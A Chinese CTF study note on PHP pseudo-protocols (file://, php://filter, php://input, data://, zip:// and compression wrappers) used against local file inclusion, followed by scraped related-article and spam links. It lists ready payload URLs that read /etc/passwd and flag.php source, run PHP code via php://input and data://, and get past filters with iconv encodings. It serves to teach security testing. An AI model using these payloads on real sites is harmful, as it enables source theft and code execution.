当前位置: 首页 > news >正文

第五周日志-伪协议(3)

常见读取源码的file,php://filter和各种编码

还有执行php的 php://input和各种编码,data

在进行文件包含之前,先定位一下 Flag 文件的位置(这里可以使用工具扫)

or直接访问 /flag.php 文件,结果返回为空(因为不是 404,证明确实存在该文件):

尝试进行文件包含,直接包含 flag.php 的话,内容肯定会和我们直接访问一样,显示为空,所以我们需要对 flag.php 内容进行编码后再进行包含

1.file://协议

访问本地文件系统,在ctf中通常用来读取本地文件

路径+文件名

file:///etc/passwd

2.php://input:

php://input ,data://用来执行命令
 
1.php://input 的用法
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
 
2.data://用法
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
 
php://filter,file://用来读取文件
 
3.php://filter用法
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php(读取php文件需要先加密以下才能读出来,并且拿到的源码需要进行base64解码下)
http://127.0.0.1/include.php?file=php://filter/resource=/flag
4.file://用法
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

3.php://filter:存在字符过滤 

php://filter php中独有的协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;

filter:这个协议可以用来过滤一些东西;

不同的参数

read参数和resource参数,

当然还可以用write参数,这时我们可以通过指定写的方式来对文件进行一些改变;

(1)String Filters(字符串过滤器)

php://filter/string.rot13/resource=flag.php //读出以后利用ROT13解码即可
php://filter/string.toupper/resource=flag.php //转大写
php://filter/string.tolower/resource=flag.php //转小写
php://filter/string.strip_tags/resource=flag.php //php标签里所有东西都会被去除,

vs html只有标签会被去除,里面的文字不会删除【闭合了】


(2)Conversion Filters(转换过滤器)

php://filter/convert.base64-encode/resource=flag.php //base64加密读出
php://filter/convert.quoted-printable-encode/resource=flag.php 
convert.iconv.*:用法:


<input-encoding>和<output-encoding> 就是编码方式,有如下几种:

PHP: Supported Character Encodings - Manual

做成字典爆破:

/?filename=php://filter/convert.iconv.CP1252.UTF-32%2a/resource=flag.php

 

data://协议

php>=5.2.0

可以使用data://数据流封装器,以传递【相应格式】的数据

执行php代码:
data://text/plain, ???


http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>


zip:// & bzip:// & zlib:// 协议


可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可以修改为任意后缀名

payload:

php://filter/zlib.deflate|zlib.inflate/resource=flag.php        //zlib.deflate(压缩)|zlib.inflate(解压)
or
php://filter/bzip2.compress|bzip2.decompress/resource=flag.php   //bzip2.compress(压缩)|bzip2.decompress(解压)

or
1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件文件名]

(# 的编码为 %23)

压缩 phpinfo.txt 为phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传

http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt


2.compress.bzip2://file.bz2

压缩phpinfo.txt 为phpinfo.bz2 并上传(同样支持任意后缀名)

http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2


3.compress.zlib://file.gz

压缩phpinfo.txt 为phpinfo.gz 并上传(支持任意后缀名)

http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz

iconv函数

完成各种字符集间的转换

$string = "XXXX";

iconv("utf8","gbk",$string)  //将字符串string 编码由utf8转变成gbk;

直接访问check.php这个文件里面的内容

/?filename=php://filter/convert.iconv.utf8.utf16/resource=check.php

 如果使用括号里面的编码参数会直接提示do not hack!

查看flag.php

注意伪协议里面的编码使用:/?filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php

相关文章:

  • 模块化革命:树莓派CM5嵌入式工业计算机如何重构嵌入式系统开发边界
  • 第十四届蓝桥杯大赛软件赛省赛C/C++ 大学 B 组(部分题解)
  • Qemu-STM32(十二):STM32F103 框架代码添加
  • STM32F103_LL库+寄存器学习笔记08 - DMA串口发送,开启DMA传输完成中断
  • ip改变导致的数据库连接不上
  • Java中用Stream流取出分组后每组最大值对象的ID
  • 前端 登录页面 案例
  • HarmonyOS NEXT开发实战——组件状态管理
  • 蓝桥杯嵌入式赛道复习笔记8(eeprom读写)
  • 蓝桥杯备考:DFS之数独
  • 渗透测试中发现ak/sk泄露时的验证工具
  • 【Zookeeper搭建(跟练版)】Zookeeper分布式集群搭建
  • 【redis】集群 如何搭建集群详解
  • 用数组遍历出来的页面,随节点创建的ref存储在数据仓库中,如果数据删除,页面相关节点也会删除,数据仓库中随节点创建的ref会不会也同时删除
  • 【蓝桥杯速成】| 14.背包归来
  • C#中如何实现读写分离
  • 使用 SQL CTE(公共表表达式)优化数据查询的实践
  • 文件的打开与关闭
  • 【MATLAB例程】三维环境下,动态轨迹的AOA定位与UKF滤波,模拟IMU/AOA的数据融合(AOA的测角基站数量可自适应,目标运动轨迹可自行修改)
  • 蓝桥杯day1-时间问题
  • 泰国男女做那个视频网站/新闻今天的最新新闻
  • 网络推广方案xiala11/东莞快速优化排名
  • 安装wordpress提示建立数据库连接时出错/关键词优化排名软件s
  • wordpress设置关站/网页制作工具
  • 网站低保图用什么做/网站功能优化的方法
  • 餐饮网站制作/网页seo是什么意思